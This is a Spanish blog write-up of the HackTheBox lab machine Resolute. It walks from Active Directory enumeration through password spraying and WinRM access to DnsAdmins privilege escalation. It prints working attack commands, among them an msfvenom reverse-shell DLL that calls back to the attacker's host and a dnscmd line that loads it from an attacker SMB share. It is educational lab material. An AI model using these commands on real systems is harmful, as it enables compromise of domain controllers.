Home Resolute - Write Up (HTB) ❤
Post
Cancel

Resolute - Write Up (HTB) ❤

Buenas a tod@s, el día de hoy les traigo un write-up de la máquina Resolute de HackTheBox.

Untitled

Como en cada write-up, lo primero hacemos es lanzar un escaneo de puertos con nmap con el objetivo de identificar potenciales vías de ataque.

Como podrán ver a continuación, se específica el parámetro -sS con el objetivo de que el escaneo sea vía TCP SYNC, lo que de cierto modo me permitirá agilizarlo, debido a que no hay Three-Way-HandShake como en TCP.

Lo otro es que se configura el --min-rate en 3000 con la idea de no enviar una cantidad menor a 3000 paquetes por segundo.

Advertencia: No aconsejo lanzar este escaneo en entornos productivos debido a que es ultra ruidoso y agresivo. En este caso lo estoy lanzando en un entorno controlado de HackTheBox.

1
nmap -v -sS --min-rate 3000 -n -Pn -p- 10.10.10.169 -oG tcp_ports.txt

Untitled

En el resultado del escaneo, se identifican varios servicios de interés, entre ellos: WinRPC, SMB, LDAP, WinRM y Kerberos. Sin embargo, ya con sólo ver al servicio Kerberos, podemos deducir que estamos ante un entorno de Active Directory. Por lo que ya podemos saber más o menos cómo enforcar nuestra estrategia de ataque y enumeración.

1
nmap -v -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49676,49677,49682,49714,49839 10.10.10.169 -oN port_scan.txt

Untitled

Uno de los primeros problemas de seguridad que identificamos al enumerar la máquina, es que te puedes autenticar sobre el servicio LDAP sin necesidad de una contraseña, pudiendo listar información sensible del dominio, tal como usuarios, propiedades de objetos, etc.

1
ldapsearch -H ldap://10.10.10.169 -w '' -x -b 'DC=megabank,DC=local'

Untitled

De la misma forma, esto ocurre con WinRPC, donde nos podemos autenticarnos con el null session y listar a todos los usuarios del dominio.

1
rpcclient -N -U '' megabank.local

Untitled

Al listar las descripciones de cada usuario, identificamos que en la del usuario marko hay una contraseña Welcome123!.

Untitled

Teniendo una contraseña potencialmente válida, realizamos un Password Sprying donde identificamos que esta la pertenece al usuario melanie.

Untitled

Al validar la credencial sobre el servicio WinRM, descubrimos que el usuario melanie forma parte del grupo Remote Management Users, por lo que podemos obtener acceso directo hacía una consola en el servidor con la herramienta evil-winrm.

Untitled

Habiendo obtenido acceso al servidor, identificamos la carpeta PSTranscripts, la cual no forma parte del listado común de directorios en la raíz de los sistemas operativos Windows.

Untitled

Al revisar dicho directorio, se identifica otro directorio dentro de este, el cual posee un archivo de texto.

Untitled

Al revisar dicho archivo, se identifican comandos de consola, los cuales muestran intentos de autenticación sobre un recurso de red, con la contraseña del usuario ryan.

Untitled

Esta contraseña es validada con crackmapexec, herramienta con la cual validamos que el usuario ryan también pertenece al grupo Remote Management Users.

Untitled

Posterior a esto, antes de autenticarnos con el usuario ryan, lanzamos la herramienta SharpHound.exe, con el objetivo de listar potenciales vectores de ataque que puedan existir entre las relaciones establecidas entre los distintos objetos que componen al AD.

1
cmd /c SharpHound.exe --CollectionMethods All

Untitled

Analizando el esquema de relación, detectamos que el usuario forma parte del grupo Contractors, el cual a su vez pertenece al grupo privilegiado, DnsAdmins.

En este punto, hemos encontrado el vector de escalada de privilegios, debido a que el grupo DnsAdmins forma parte de los objetos críticos del directorio activo. Esto significa que, un usuario que forma parte de este, tiene la capacidad de controlar la totalidad del servicio, incluida las DLLs que se ejecutan en contexto privilegiado.

Untitled

Por lo tanto, dado que tenemos control total del servicio, podemos crear una DLL maliciosa con la herramienta MSFvenom, la cual está compilada para enviarnos una reverse shell a nuestra máquina, al puerto 443 en escucha.

Es importante destacar que esta DLL, sobre la cual tenemos control, se ejecuta en un contexto de máximos privilegios en el servidor.

1
msfvenom -a x64 -p windows/x64/shell_reverse_tcp -e x64/xor LHOST=10.10.17.210 LPORT=443 -f dll -o dnsadmin_priv.dll

Untitled

Posterior a esto, con la herramienta dnscmd.exe, la cual es utilizada para administrar el DNS, añadimos la DLL como un plugin del servicio.

Cabe destacar que la DLL se encuentra servida en una carpeta compartida por SMB, en nuestro servidor atacante.

1
dnscmd.exe RESOLUTE /config /serverlevelplugindll \\10.10.17.210\smb\dnsadmin_priv.dll

Untitled

Como se observó en la imagen anterior, la configuración es aplicada exitosamente.

En base a esto, se reinicia el servidor DNS, lo cual provoca que automáticamente se invoque y ejecute nuestra DLL, a través del servicio SMB.

Untitled

Habiéndose ejecutado, recibimos con éxito la reverse shell de NT Authority\System, en el puerto en escucha de nuestra máquina. De esta manera, logramos control total del Domain Controller.

Untitled

Referencias

This post is licensed under CC BY 4.0 by the author.